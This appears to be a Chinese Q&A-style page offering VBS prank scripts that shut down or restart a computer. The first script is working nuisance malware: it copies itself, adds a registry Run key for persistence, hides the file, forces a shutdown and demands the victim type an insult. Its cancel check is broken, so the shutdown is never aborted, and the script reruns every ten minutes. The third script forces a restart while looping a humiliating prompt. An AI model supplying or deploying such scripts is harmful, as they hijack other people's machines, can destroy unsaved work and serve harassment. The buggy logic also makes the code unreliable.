vbs关机脚本
① VBS脚本执行关机
set a=createobject("wscript.shell")
a.run "cmd.exe /c 打开看看吧.vbs c:\1.vbs"
a.run "cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v 1.vbs /t REG_SZ /d C:\1.vbs"
a.run "cmd.exe /c attrib c:\1.vbs +a +r +s +h"
a.run "cmd.exe /c shutdown -s -t 60 -c 请一定注意下面的对话框!!!"
b=inputbox("请在下面的输入栏中输入“我是猪”,速度要快不然,你的电脑将在60秒后重启","严重警告")
if 60= "我是猪" then
a.run "cmd.exe /c shutdown -a"
msgbox "放心。。本程序是没有毒了。。带来不便。。**在此sorry"
else
msgbox "你等着重启吧"
end if
wscript.sleep 600000
a.run "c:\1.vbs" 自己更改一下时间就可以。。是vbs文件。。会更改注册表。。。
② 求:vbs立刻关机代码
下面的代码 100% 零秒关机! wscript.CreateObject("wscript.shell").run "shutdown /s /t 0" 解释: /s是关机,可以弄为/L(注销),/R(重启) /t 0 是指在指令 发出后0秒执行,如果是/t 10,就是10秒后再执行 如果你想得到更全面的解释,请在运行里输入cmd,在Cmd下输入shutdown /? 就可以得到shutdown命令的使用帮助了
③ VBS关机命令
on error resume next
'遇到错误继续运行
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
'定义可执行对象wscript.shell
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""叫哥,不喊就一分钟关你机,不信,试试···"" ",0 ,true
'调用cmd执行重启系统命令定时60秒
dim a
'定义变量a
do while(a <> "哥")
'当a="哥"的时候结束循环,
'就是说他说了"哥"就跳出循环,否则一直让他叫哥
a = inputbox ("叫哥,就不关机,快撒,说 """"","说不说","不说",8000,7000)
'弹出一个输入框让对方输入,也就是让他叫哥
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
'显示他说的话 chr(13) 是回车键,也就是换行
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
'当他叫了 哥 ,就退出循环然后显示这句话
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
'定义可执行对象wscript.shell
WSHshell.run "cmd.exe /c shutdown -r -t 60 -c",0 ,true
'调用cmd执行重启系统命令定时60秒
'如果想取消关机,
'就用 WSHshell.run "cmd /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,早叫哥不就行了"
'显示 "哈哈哈哈,早叫哥不就行了" 这句话,前面有三个换行符